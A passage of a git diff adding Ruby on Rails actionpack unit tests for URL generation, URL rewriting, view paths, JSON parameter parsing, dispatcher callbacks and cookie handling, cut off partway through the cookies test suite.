+ assert_equal("http://www.basecamphq.com/this/is/verbose", controller.send(:no_args_url, :host=>'www.basecamphq.com'))
+ end
+ end
+
+ def test_relative_url_root_is_respected_for_named_routes
+ with_routing do |set|
+ set.draw do
+ get '/home/sweet/home/:user', :to => 'home#index', :as => :home
+ end
+
+ kls = Class.new { include set.url_helpers }
+ controller = kls.new
+
+ assert_equal 'http://www.basecamphq.com/subdir/home/sweet/home/again',
+ controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again', :script_name => "/subdir")
+ end
+ end
+
+ def test_only_path
+ with_routing do |set|
+ set.draw do
+ get 'home/sweet/home/:user', :to => 'home#index', :as => :home
+ get ':controller/:action/:id'
+ end
+
+ # We need to create a new class in order to install the new named route.
+ kls = Class.new { include set.url_helpers }
+ controller = kls.new
+ assert controller.respond_to?(:home_url)
+ assert_equal '/brave/new/world',
+ controller.send(:url_for, :controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
+
+ assert_equal("/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'unused', :only_path => true))
+ assert_equal("/home/sweet/home/alabama", controller.send(:home_path, 'alabama'))
+ end
+ end
+
+ def test_one_parameter
+ assert_equal('/c/a?param=val',
+ W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :param => 'val')
+ )
+ end
+
+ def test_two_parameters
+ url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :p1 => 'X1', :p2 => 'Y2')
+ params = extract_params(url)
+ assert_equal params[0], { :p1 => 'X1' }.to_query
+ assert_equal params[1], { :p2 => 'Y2' }.to_query
+ end
+
+ def test_hash_parameter
+ url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:name => 'Bob', :category => 'prof'})
+ params = extract_params(url)
+ assert_equal params[0], { 'query[category]' => 'prof' }.to_query
+ assert_equal params[1], { 'query[name]' => 'Bob' }.to_query
+ end
+
+ def test_array_parameter
+ url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => ['Bob', 'prof'])
+ params = extract_params(url)
+ assert_equal params[0], { 'query[]' => 'Bob' }.to_query
+ assert_equal params[1], { 'query[]' => 'prof' }.to_query
+ end
+
+ def test_hash_recursive_parameters
+ url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:person => {:name => 'Bob', :position => 'prof'}, :hobby => 'piercing'})
+ params = extract_params(url)
+ assert_equal params[0], { 'query[hobby]' => 'piercing' }.to_query
+ assert_equal params[1], { 'query[person][name]' => 'Bob' }.to_query
+ assert_equal params[2], { 'query[person][position]' => 'prof' }.to_query
+ end
+
+ def test_hash_recursive_and_array_parameters
+ url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => 101, :query => {:person => {:name => 'Bob', :position => ['prof', 'art director']}, :hobby => 'piercing'})
+ assert_match(%r(^/c/a/101), url)
+ params = extract_params(url)
+ assert_equal params[0], { 'query[hobby]' => 'piercing' }.to_query
+ assert_equal params[1], { 'query[person][name]' => 'Bob' }.to_query
+ assert_equal params[2], { 'query[person][position][]' => 'art director' }.to_query
+ assert_equal params[3], { 'query[person][position][]' => 'prof' }.to_query
+ end
+
+ def test_path_generation_for_symbol_parameter_keys
+ assert_generates("/image", :controller=> :image)
+ end
+
+ def test_named_routes_with_nil_keys
+ with_routing do |set|
+ set.draw do
+ get 'posts.:format', :to => 'posts#index', :as => :posts
+ get '/', :to => 'posts#index', :as => :main
+ end
+
+ # We need to create a new class in order to install the new named route.
+ kls = Class.new { include set.url_helpers }
+ kls.default_url_options[:host] = 'www.basecamphq.com'
+
+ controller = kls.new
+ params = {:action => :index, :controller => :posts, :format => :xml}
+ assert_equal("http://www.basecamphq.com/posts.xml", controller.send(:url_for, params))
+ params[:format] = nil
+ assert_equal("http://www.basecamphq.com/", controller.send(:url_for, params))
+ end
+ end
+
+ def test_multiple_includes_maintain_distinct_options
+ first_class = Class.new { include ActionController::UrlFor }
+ second_class = Class.new { include ActionController::UrlFor }
+
+ first_host, second_host = 'firsthost.com', 'secondhost.com'
+
+ first_class.default_url_options[:host] = first_host
+ second_class.default_url_options[:host] = second_host
+
+ assert_equal first_host, first_class.default_url_options[:host]
+ assert_equal second_host, second_class.default_url_options[:host]
+ end
+
+ def test_with_stringified_keys
+ assert_equal("/c", W.new.url_for('controller' => 'c', 'only_path' => true))
+ assert_equal("/c/a", W.new.url_for('controller' => 'c', 'action' => 'a', 'only_path' => true))
+ end
+
+ def test_with_hash_with_indifferent_access
+ W.default_url_options[:controller] = 'd'
+ W.default_url_options[:only_path] = false
+ assert_equal("/c", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new('controller' => 'c', 'only_path' => true)))
+
+ W.default_url_options[:action] = 'b'
+ assert_equal("/c/a", W.new.url_for(ActiveSupport::HashWithIndifferentAccess.new('controller' => 'c', 'action' => 'a', 'only_path' => true)))
+ end
+
+ def test_url_params_with_nil_to_param_are_not_in_url
+ assert_equal("/c/a", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => Struct.new(:to_param).new(nil)))
+ end
+
+ def test_false_url_params_are_included_in_query
+ assert_equal("/c/a?show=false", W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :show => false))
+ end
+
+ private
+ def extract_params(url)
+ url.split('?', 2).last.split('&').sort
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/url_rewriter_test.rb b/actionpack/test/controller/url_rewriter_test.rb
new file mode 100644
index 0000000..d9a1ae7
--- /dev/null
+++ b/actionpack/test/controller/url_rewriter_test.rb
@@ -0,0 +1,90 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class UrlRewriterTests < ActiveSupport::TestCase
+ class Rewriter
+ def initialize(request)
+ @options = {
+ :host => request.host_with_port,
+ :protocol => request.protocol
+ }
+ end
+
+ def rewrite(routes, options)
+ routes.url_for(@options.merge(options))
+ end
+ end
+
+ def setup
+ @request = ActionController::TestRequest.new
+ @params = {}
+ @rewriter = Rewriter.new(@request) #.new(@request, @params)
+ @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+ r.draw do
+ get ':controller(/:action(/:id))'
+ end
+ end
+ end
+
+ def test_port
+ assert_equal('http://test.host:1271/c/a/i',
+ @rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :port => 1271)
+ )
+ end
+
+ def test_protocol_with_and_without_separator
+ assert_equal('https://test.host/c/a/i',
+ @rewriter.rewrite(@routes, :protocol => 'https', :controller => 'c', :action => 'a', :id => 'i')
+ )
+
+ assert_equal('https://test.host/c/a/i',
+ @rewriter.rewrite(@routes, :protocol => 'https://', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_user_name_and_password
+ assert_equal(
+ 'http://david:secret@test.host/c/a/i',
+ @rewriter.rewrite(@routes, :user => "david", :password => "secret", :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_user_name_and_password_with_escape_codes
+ assert_equal(
+ 'http://openid.aol.com%2Fnextangler:one+two%3F@test.host/c/a/i',
+ @rewriter.rewrite(@routes, :user => "openid.aol.com/nextangler", :password => "one two?", :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_anchor
+ assert_equal(
+ 'http://test.host/c/a/i#anchor',
+ @rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :anchor => 'anchor')
+ )
+ end
+
+ def test_anchor_should_call_to_param
+ assert_equal(
+ 'http://test.host/c/a/i#anchor',
+ @rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anchor'))
+ )
+ end
+
+ def test_anchor_should_be_uri_escaped
+ assert_equal(
+ 'http://test.host/c/a/i#anc/hor',
+ @rewriter.rewrite(@routes, :controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anc/hor'))
+ )
+ end
+
+ def test_trailing_slash
+ options = {:controller => 'foo', :action => 'bar', :id => '3', :only_path => true}
+ assert_equal '/foo/bar/3', @rewriter.rewrite(@routes, options)
+ assert_equal '/foo/bar/3?query=string', @rewriter.rewrite(@routes, options.merge({:query => 'string'}))
+ options.update({:trailing_slash => true})
+ assert_equal '/foo/bar/3/', @rewriter.rewrite(@routes, options)
+ options.update({:query => 'string'})
+ assert_equal '/foo/bar/3/?query=string', @rewriter.rewrite(@routes, options)
+ end
+end
+
diff --git a/actionpack/test/controller/view_paths_test.rb b/actionpack/test/controller/view_paths_test.rb
new file mode 100644
index 0000000..c6e7a52
--- /dev/null
+++ b/actionpack/test/controller/view_paths_test.rb
@@ -0,0 +1,174 @@
+require 'abstract_unit'
+
+class ViewLoadPathsTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def self.controller_path() "test" end
+
+ before_action :add_view_path, only: :hello_world_at_request_time
+
+ def hello_world() end
+ def hello_world_at_request_time() render(:action => 'hello_world') end
+
+ private
+ def add_view_path
+ prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+ end
+ end
+
+ module Test
+ class SubController < ActionController::Base
+ layout 'test/sub'
+ def hello_world; render(:template => 'test/hello_world'); end
+ end
+ end
+
+ def setup
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @controller = TestController.new
+ @paths = TestController.view_paths
+ end
+
+ def teardown
+ TestController.view_paths = @paths
+ end
+
+ def expand(array)
+ array.map {|x| File.expand_path(x.to_s)}
+ end
+
+ def assert_paths(*paths)
+ controller = paths.first.is_a?(Class) ? paths.shift : @controller
+ assert_equal expand(paths), controller.view_paths.map { |p| p.to_s }
+ end
+
+ def test_template_load_path_was_set_correctly
+ assert_paths FIXTURE_LOAD_PATH
+ end
+
+ def test_controller_appends_view_path_correctly
+ @controller.append_view_path 'foo'
+ assert_paths(FIXTURE_LOAD_PATH, "foo")
+
+ @controller.append_view_path(%w(bar baz))
+ assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz")
+
+ @controller.append_view_path(FIXTURE_LOAD_PATH)
+ assert_paths(FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH)
+ end
+
+ def test_controller_prepends_view_path_correctly
+ @controller.prepend_view_path 'baz'
+ assert_paths("baz", FIXTURE_LOAD_PATH)
+
+ @controller.prepend_view_path(%w(foo bar))
+ assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+
+ @controller.prepend_view_path(FIXTURE_LOAD_PATH)
+ assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz", FIXTURE_LOAD_PATH
+ end
+
+ def test_template_appends_view_path_correctly
+ @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+ class_view_paths = TestController.view_paths
+
+ @controller.append_view_path 'foo'
+ assert_paths FIXTURE_LOAD_PATH, "foo"
+
+ @controller.append_view_path(%w(bar baz))
+ assert_paths FIXTURE_LOAD_PATH, "foo", "bar", "baz"
+ assert_paths TestController, *class_view_paths
+ end
+
+ def test_template_prepends_view_path_correctly
+ @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
+ class_view_paths = TestController.view_paths
+
+ @controller.prepend_view_path 'baz'
+ assert_paths "baz", FIXTURE_LOAD_PATH
+
+ @controller.prepend_view_path(%w(foo bar))
+ assert_paths "foo", "bar", "baz", FIXTURE_LOAD_PATH
+ assert_paths TestController, *class_view_paths
+ end
+
+ def test_view_paths
+ get :hello_world
+ assert_response :success
+ assert_equal "Hello world!", @response.body
+ end
+
+ def test_view_paths_override
+ TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
+ get :hello_world
+ assert_response :success
+ assert_equal "Hello overridden world!", @response.body
+ end
+
+ def test_view_paths_override_for_layouts_in_controllers_with_a_module
+ @controller = Test::SubController.new
+ Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
+ get :hello_world
+ assert_response :success
+ assert_equal "layout: Hello overridden world!", @response.body
+ end
+
+ def test_view_paths_override_at_request_time
+ get :hello_world_at_request_time
+ assert_response :success
+ assert_equal "Hello overridden world!", @response.body
+ end
+
+ def test_decorate_view_paths_with_custom_resolver
+ decorator_class = Class.new(ActionView::PathResolver) do
+ def initialize(path_set)
+ @path_set = path_set
+ end
+
+ def find_all(*args)
+ @path_set.find_all(*args).collect do |template|
+ ::ActionView::Template.new(
+ "Decorated body",
+ template.identifier,
+ template.handler,
+ {
+ :virtual_path => template.virtual_path,
+ :format => template.formats
+ }
+ )
+ end
+ end
+ end
+
+ decorator = decorator_class.new(TestController.view_paths)
+ TestController.view_paths = ActionView::PathSet.new.push(decorator)
+
+ get :hello_world
+ assert_response :success
+ assert_equal "Decorated body", @response.body
+ end
+
+ def test_inheritance
+ original_load_paths = ActionController::Base.view_paths
+
+ self.class.class_eval %{
+ class A < ActionController::Base; end
+ class B < A; end
+ class C < ActionController::Base; end
+ }
+
+ A.view_paths = ['a/path']
+
+ assert_paths A, "a/path"
+ assert_paths A, *B.view_paths
+ assert_paths C, *original_load_paths
+
+ C.view_paths = []
+ assert_nothing_raised { C.append_view_path 'c/path' }
+ assert_paths C, "c/path"
+ end
+
+ def test_lookup_context_accessor
+ assert_equal ["test"], TestController.new.lookup_context.prefixes
+ end
+end
diff --git a/actionpack/test/controller/webservice_test.rb b/actionpack/test/controller/webservice_test.rb
new file mode 100644
index 0000000..b2dfd96
--- /dev/null
+++ b/actionpack/test/controller/webservice_test.rb
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+class WebServiceTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def assign_parameters
+ if params[:full]
+ render :text => dump_params_keys
+ else
+ render :text => (params.keys - ['controller', 'action']).sort.join(", ")
+ end
+ end
+
+ def dump_params_keys(hash = params)
+ hash.keys.sort.inject("") do |s, k|
+ value = hash[k]
+ value = Hash === value ? "(#{dump_params_keys(value)})" : ""
+ s << ", " unless s.empty?
+ s << "#{k}#{value}"
+ end
+ end
+ end
+
+ def setup
+ @controller = TestController.new
+ @integration_session = nil
+ end
+
+ def test_check_parameters
+ with_test_route_set do
+ get "/"
+ assert_equal '', @controller.response.body
+ end
+ end
+
+ def test_post_json
+ with_test_route_set do
+ post "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
+
+ assert_equal 'entry', @controller.response.body
+ assert @controller.params.has_key?(:entry)
+ assert_equal 'content...', @controller.params["entry"]['summary']
+ end
+ end
+
+ def test_put_json
+ with_test_route_set do
+ put "/", '{"entry":{"summary":"content..."}}', 'CONTENT_TYPE' => 'application/json'
+
+ assert_equal 'entry', @controller.response.body
+ assert @controller.params.has_key?(:entry)
+ assert_equal 'content...', @controller.params["entry"]['summary']
+ end
+ end
+
+ def test_register_and_use_json_simple
+ with_test_route_set do
+ with_params_parsers Mime::JSON => Proc.new { |data| JSON.parse(data)['request'].with_indifferent_access } do
+ post "/", '{"request":{"summary":"content...","title":"JSON"}}',
+ 'CONTENT_TYPE' => 'application/json'
+
+ assert_equal 'summary, title', @controller.response.body
+ assert @controller.params.has_key?(:summary)
+ assert @controller.params.has_key?(:title)
+ assert_equal 'content...', @controller.params["summary"]
+ assert_equal 'JSON', @controller.params["title"]
+ end
+ end
+ end
+
+ def test_use_json_with_empty_request
+ with_test_route_set do
+ assert_nothing_raised { post "/", "", 'CONTENT_TYPE' => 'application/json' }
+ assert_equal '', @controller.response.body
+ end
+ end
+
+ def test_dasherized_keys_as_json
+ with_test_route_set do
+ post "/?full=1", '{"first-key":{"sub-key":"..."}}', 'CONTENT_TYPE' => 'application/json'
+ assert_equal 'action, controller, first-key(sub-key), full', @controller.response.body
+ assert_equal "...", @controller.params['first-key']['sub-key']
+ end
+ end
+
+ private
+ def with_params_parsers(parsers = {})
+ old_session = @integration_session
+ @app = ActionDispatch::ParamsParser.new(app.routes, parsers)
+ reset!
+ yield
+ ensure
+ @integration_session = old_session
+ end
+
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ match '/', :to => 'web_service_test/test#assign_parameters', :via => :all
+ end
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/callbacks_test.rb b/actionpack/test/dispatch/callbacks_test.rb
new file mode 100644
index 0000000..f767b07
--- /dev/null
+++ b/actionpack/test/dispatch/callbacks_test.rb
@@ -0,0 +1,58 @@
+require 'abstract_unit'
+
+class DispatcherTest < ActiveSupport::TestCase
+ class Foo
+ cattr_accessor :a, :b
+ end
+
+ class DummyApp
+ def call(env)
+ [200, {}, 'response']
+ end
+ end
+
+ def setup
+ Foo.a, Foo.b = 0, 0
+ ActionDispatch::Callbacks.reset_callbacks(:call)
+ end
+
+ def test_before_and_after_callbacks
+ ActionDispatch::Callbacks.before { |*args| Foo.a += 1; Foo.b += 1 }
+ ActionDispatch::Callbacks.after { |*args| Foo.a += 1; Foo.b += 1 }
+
+ dispatch
+ assert_equal 2, Foo.a
+ assert_equal 2, Foo.b
+
+ dispatch
+ assert_equal 4, Foo.a
+ assert_equal 4, Foo.b
+
+ dispatch do |env|
+ raise "error"
+ end rescue nil
+ assert_equal 6, Foo.a
+ assert_equal 6, Foo.b
+ end
+
+ def test_to_prepare_and_cleanup_delegation
+ prepared = cleaned = false
+ ActionDispatch::Callbacks.to_prepare { prepared = true }
+ ActionDispatch::Callbacks.to_prepare { cleaned = true }
+
+ ActionDispatch::Reloader.prepare!
+ assert prepared
+
+ ActionDispatch::Reloader.cleanup!
+ assert cleaned
+ end
+
+ private
+
+ def dispatch(&block)
+ ActionDispatch::Callbacks.new(block || DummyApp.new).call(
+ {'rack.input' => StringIO.new('')}
+ )
+ end
+
+end
diff --git a/actionpack/test/dispatch/cookies_test.rb b/actionpack/test/dispatch/cookies_test.rb
new file mode 100644
index 0000000..91ac13e
--- /dev/null
+++ b/actionpack/test/dispatch/cookies_test.rb
@@ -0,0 +1,811 @@
+require 'abstract_unit'
+
+begin
+ require 'openssl'
+ OpenSSL::PKCS5
+rescue LoadError, NameError
+ $stderr.puts "Skipping KeyGenerator test: broken OpenSSL install"
+else
+
+require 'active_support/key_generator'
+require 'active_support/message_verifier'
+
+class CookiesTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def authenticate
+ cookies["user_name"] = "david"
+ head :ok
+ end
+
+ def set_with_with_escapable_characters
+ cookies["that & guy"] = "foo & bar => baz"
+ head :ok
+ end
+
+ def authenticate_for_fourteen_days
+ cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
+ head :ok
+ end
+
+ def authenticate_for_fourteen_days_with_symbols
+ cookies[:user_name] = { :value => "david", :expires => Time.utc(2005, 10, 10,5) }
+ head :ok
+ end
+
+ def set_multiple_cookies
+ cookies["user_name"] = { "value" => "david", "expires" => Time.utc(2005, 10, 10,5) }
+ cookies["login"] = "XJ-122"
+ head :ok
+ end
+
+ def access_frozen_cookies
+ cookies["will"] = "work"
+ head :ok
+ end
+
+ def logout
+ cookies.delete("user_name")
+ head :ok
+ end
+
+ alias delete_cookie logout
+
+ def delete_cookie_with_path
+ cookies.delete("user_name", :path => '/beaten')
+ head :ok
+ end
+
+ def authenticate_with_http_only
+ cookies["user_name"] = { :value => "david", :httponly => true }
+ head :ok
+ end
+
+ def authenticate_with_secure
+ cookies["user_name"] = { :value => "david", :secure => true }
+ head :ok
+ end
+
+ def set_permanent_cookie
+ cookies.permanent[:user_name] = "Jamie"
+ head :ok
+ end
+
+ def set_signed_cookie
+ cookies.signed[:user_id] = 45
+ head :ok
+ end
+
+ def get_signed_cookie
+ cookies.signed[:user_id]
+ head :ok
+ end
+
+ def set_encrypted_cookie
+ cookies.encrypted[:foo] = 'bar'
+ head :ok
+ end
+
+ def get_encrypted_cookie
+ cookies.encrypted[:foo]
+ head :ok
+ end
+
+ def set_invalid_encrypted_cookie
+ cookies[:invalid_cookie] = 'invalid--9170e00a57cfc27083363b5c75b835e477bd90cf'
+ head :ok
+ end
+
+ def raise_data_overflow
+ cookies.signed[:foo] = 'bye!' * 1024
+ head :ok
+ end
+
+ def tampered_cookies
+ cookies[:tampered] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+ cookies.signed[:tampered]
+ head :ok
+ end
+
+ def set_permanent_signed_cookie
+ cookies.permanent.signed[:remember_me] = 100
+ head :ok
+ end
+
+ def delete_and_set_cookie
+ cookies.delete :user_name
+ cookies[:user_name] = { :value => "david", :expires => Time.utc(2005, 10, 10,5) }
+ head :ok
+ end
+
+ def set_cookie_with_domain
+ cookies[:user_name] = {:value => "rizwanreza", :domain => :all}
+ head :ok
+ end
+
+ def delete_cookie_with_domain
+ cookies.delete(:user_name, :domain => :all)
+ head :ok
+ end
+
+ def set_cookie_with_domain_and_tld
+ cookies[:user_name] = {:value => "rizwanreza", :domain => :all, :tld_length => 2}
+ head :ok
+ end
+
+ def delete_cookie_with_domain_and_tld
+ cookies.delete(:user_name, :domain => :all, :tld_length => 2)
+ head :ok
+ end
+
+ def set_cookie_with_domains
+ cookies[:user_name] = {:value => "rizwanreza", :domain => %w(example1.com example2.com .example3.com)}
+ head :ok
+ end
+
+ def delete_cookie_with_domains
+ cookies.delete(:user_name, :domain => %w(example1.com example2.com .example3.com))
+ head :ok
+ end
+
+ def symbol_key
+ cookies[:user_name] = "david"
+ head :ok
+ end
+
+ def string_key
+ cookies['user_name'] = "dhh"
+ head :ok
+ end
+
+ def symbol_key_mock
+ cookies[:user_name] = "david" if cookies[:user_name] == "andrew"
+ head :ok
+ end
+
+ def string_key_mock
+ cookies['user_name'] = "david" if cookies['user_name'] == "andrew"
+ head :ok
+ end
+
+ def noop
+ head :ok
+ end
+ end
+
+ tests TestController
+
+ def setup
+ super
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+ @request.env["action_dispatch.signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.encrypted_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "b3c631c314c0bbca50c1b2843150fe33"
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_fetch
+ x = Object.new
+ assert_not request.cookie_jar.key?('zzzzzz')
+ assert_equal x, request.cookie_jar.fetch('zzzzzz', x)
+ assert_not request.cookie_jar.key?('zzzzzz')
+ end
+
+ def test_fetch_exists
+ x = Object.new
+ request.cookie_jar['foo'] = 'bar'
+ assert_equal 'bar', request.cookie_jar.fetch('foo', x)
+ end
+
+ def test_fetch_block
+ x = Object.new
+ assert_not request.cookie_jar.key?('zzzzzz')
+ assert_equal x, request.cookie_jar.fetch('zzzzzz') { x }
+ end
+
+ def test_key_is_to_s
+ request.cookie_jar['foo'] = 'bar'
+ assert_equal 'bar', request.cookie_jar.fetch(:foo)
+ end
+
+ def test_fetch_type_error
+ assert_raises(KeyError) do
+ request.cookie_jar.fetch(:omglolwut)
+ end
+ end
+
+ def test_each
+ request.cookie_jar['foo'] = :bar
+ list = []
+ request.cookie_jar.each do |k,v|
+ list << [k, v]
+ end
+
+ assert_equal [['foo', :bar]], list
+ end
+
+ def test_enumerable
+ request.cookie_jar['foo'] = :bar
+ actual = request.cookie_jar.map { |k,v| [k.to_s, v.to_s] }
+ assert_equal [['foo', 'bar']], actual
+ end
+
+ def test_key_methods
+ assert !request.cookie_jar.key?(:foo)
+ assert !request.cookie_jar.has_key?("foo")
+
+ request.cookie_jar[:foo] = :bar
+ assert request.cookie_jar.key?(:foo)
+ assert request.cookie_jar.has_key?("foo")
+ end
+
+ def test_setting_cookie
+ get :authenticate
+ assert_cookie_header "user_name=david; path=/"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_the_same_value_to_cookie
+ request.cookies[:user_name] = 'david'
+ get :authenticate
+ assert response.cookies.empty?
+ end
+
+ def test_setting_the_same_value_to_permanent_cookie
+ request.cookies[:user_name] = 'Jamie'
+ get :set_permanent_cookie
+ assert_equal response.cookies, 'user_name' => 'Jamie'
+ end
+
+ def test_setting_with_escapable_characters
+ get :set_with_with_escapable_characters
+ assert_cookie_header "that+%26+guy=foo+%26+bar+%3D%3E+baz; path=/"
+ assert_equal({"that & guy" => "foo & bar => baz"}, @response.cookies)
+ end
+
+ def test_setting_cookie_for_fourteen_days
+ get :authenticate_for_fourteen_days
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_cookie_for_fourteen_days_with_symbols
+ get :authenticate_for_fourteen_days_with_symbols
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_cookie_with_http_only
+ get :authenticate_with_http_only
+ assert_cookie_header "user_name=david; path=/; HttpOnly"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_cookie_with_secure
+ @request.env["HTTPS"] = "on"
+ get :authenticate_with_secure
+ assert_cookie_header "user_name=david; path=/; secure"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_cookie_with_secure_when_always_write_cookie_is_true
+ ActionDispatch::Cookies::CookieJar.any_instance.stubs(:always_write_cookie).returns(true)
+ get :authenticate_with_secure
+ assert_cookie_header "user_name=david; path=/; secure"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_not_setting_cookie_with_secure
+ get :authenticate_with_secure
+ assert_not_cookie_header "user_name=david; path=/; secure"
+ assert_not_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_multiple_cookies
+ get :set_multiple_cookies
+ assert_equal 2, @response.cookies.size
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000\nlogin=XJ-122; path=/"
+ assert_equal({"login" => "XJ-122", "user_name" => "david"}, @response.cookies)
+ end
+
+ def test_setting_test_cookie
+ assert_nothing_raised { get :access_frozen_cookies }
+ end
+
+ def test_expiring_cookie
+ request.cookies[:user_name] = 'Joe'
+ get :logout
+ assert_cookie_header "user_name=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ assert_equal({"user_name" => nil}, @response.cookies)
+ end
+
+ def test_delete_cookie_with_path
+ request.cookies[:user_name] = 'Joe'
+ get :delete_cookie_with_path
+ assert_cookie_header "user_name=; path=/beaten; max-age=0; expires=Thu, 01 Jan 1970 00:00:00 -0000"
+ end
+
+ def test_delete_unexisting_cookie
+ request.cookies.clear
+ get :delete_cookie
+ assert @response.cookies.empty?
+ end
+
+ def test_deleted_cookie_predicate
+ cookies[:user_name] = 'Joe'
+ cookies.delete("user_name")
+ assert cookies.deleted?("user_name")
+ assert_equal false, cookies.deleted?("another")
+ end
+
+ def test_deleted_cookie_predicate_with_mismatching_options
+ cookies[:user_name] = 'Joe'
+ cookies.delete("user_name", :path => "/path")
+ assert_equal false, cookies.deleted?("user_name", :path => "/different")
+ end
+
+ def test_cookies_persist_throughout_request
+ response = get :authenticate
+ assert response.headers["Set-Cookie"] =~ /user_name=david/
+ end
+
+ def test_set_permanent_cookie
+ get :set_permanent_cookie
+ assert_match(/Jamie/, @response.headers["Set-Cookie"])
+ assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
+ end
+
+ def test_read_permanent_cookie
+ get :set_permanent_cookie
+ assert_equal 'Jamie', @controller.send(:cookies).permanent[:user_name]
+ end
+
+ def test_signed_cookie
+ get :set_signed_cookie
+ assert_equal 45, @controller.send(:cookies).signed[:user_id]
+ end
+
+ def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
+ get :set_signed_cookie
+ assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
+ end
+
+ def test_encrypted_cookie
+ get :set_encrypted_cookie
+ cookies = @controller.send :cookies
+ assert_not_equal 'bar', cookies[:foo]
+ assert_raises TypeError do
+ cookies.signed[:foo]
+ end
+ assert_equal 'bar', cookies.encrypted[:foo]
+ end
+
+ def test_accessing_nonexistant_encrypted_cookie_should_not_raise_invalid_message
+ get :set_encrypted_cookie
+ assert_nil @controller.send(:cookies).encrypted[:non_existant_attribute]
+ end
+
+ def test_setting_invalid_encrypted_cookie_should_return_nil_when_accessing_it
+ get :set_invalid_encrypted_cookie
+ assert_nil @controller.send(:cookies).encrypted[:invalid_cookie]
+ end
+
+ def test_permanent_signed_cookie
+ get :set_permanent_signed_cookie
+ assert_match(%r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"])
+ assert_equal 100, @controller.send(:cookies).signed[:remember_me]
+ end
+
+ def test_delete_and_set_cookie
+ request.cookies[:user_name] = 'Joe'
+ get :delete_and_set_cookie
+ assert_cookie_header "user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000"
+ assert_equal({"user_name" => "david"}, @response.cookies)
+ end
+
+ def test_raise_data_overflow
+ assert_raise(ActionDispatch::Cookies::CookieOverflow) do
+ get :raise_data_overflow
+ end
+ end
+
+ def test_tampered_cookies
+ assert_nothing_raised do
+ get :tampered_cookies
+ assert_response :success
+ end
+ end
+
+ def test_raises_argument_error_if_missing_secret
+ assert_raise(ArgumentError, nil.inspect) {
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(nil)
+ get :set_signed_cookie
+ }
+
+ assert_raise(ArgumentError, ''.inspect) {
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new("")
+ get :set_signed_cookie
+ }
+ end
+
+ def test_raises_argument_error_if_secret_is_probably_insecure
+ assert_raise(ArgumentError, "password".inspect) {
